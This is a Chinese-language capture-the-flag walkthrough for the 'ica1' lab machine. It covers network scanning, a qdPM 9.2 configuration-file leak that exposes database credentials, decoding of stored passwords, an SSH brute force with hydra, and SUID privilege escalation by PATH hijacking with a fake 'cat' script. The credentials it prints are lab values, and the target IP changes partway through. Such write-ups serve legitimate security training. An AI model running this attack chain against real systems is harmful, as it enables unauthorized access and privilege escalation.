ica1

我们还是使用 kali 中的 arp-scan -l 查询靶机 ip

靶机 ip：192.168.75.129

第一步 信息收集

nmap -sS 192.168.75.129

访问网站

这个是一个web应用，框架是qdpm 9.2
在kali上搜索一下发现有两个漏洞，依次看一下

searchsploit qdpm 9.2

1.locate 50854.txt

cat /usr/share/exploitdb/exploits/php/webapps/50854.txt

这个是一个csrf的html文件

2.50176.txt

数据库的密码和连接字符串存储在yml文件中。

访问地址:/core/config/databases.ym

第二步 漏洞利用

访问地址后下载下来一个文件

进行连接数据库，用户名qdpmadmin；密码：UcVQCMQk2STVeS6J

我们去连接数据库

mysql -u qdpmadmin -h 192.168.47.135 -p 

在staff这个数据库有三张表

#user表中都是用户名
Smith
ucas
Travis
Dexter
Meyer 

#login表中都是base64加密
c3VSSkFkR3dMcDhkeTNyRg==
N1p3VjRxdGc0MmNtVVhHWA==
WDdNUWtQM1cyOWZld0hkQw==
REpjZVZ5OThXMjhZN3dMZw==
Y3FObkJXQ0J5UzJEdUpTeQ== 
#解密
suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy

爆破一下靶机的ssh

user和passwd做成一个文件

hydra -L user -P passwd ssh://192.168.47.135

在这里用户名首字母都是大写;我们要给他换成小写;要不会爆不出来

使用ssh去连接;获取flag

第三步 提权

切换用户dexter

查看了一下note.txt

文件给了提示需要suid提权

#查找具有SetUID权限的文件的命令
find / -perm -4000 2>/dev/null

使用strings命令查看一下get_access

发现cat命令提权

配置环境变量

echo "/bin/bash" > /tmp/cat
export PATH=/tmp:$PATH
chmod +x /tmp/cat
ehco $PATH
/opt/get_access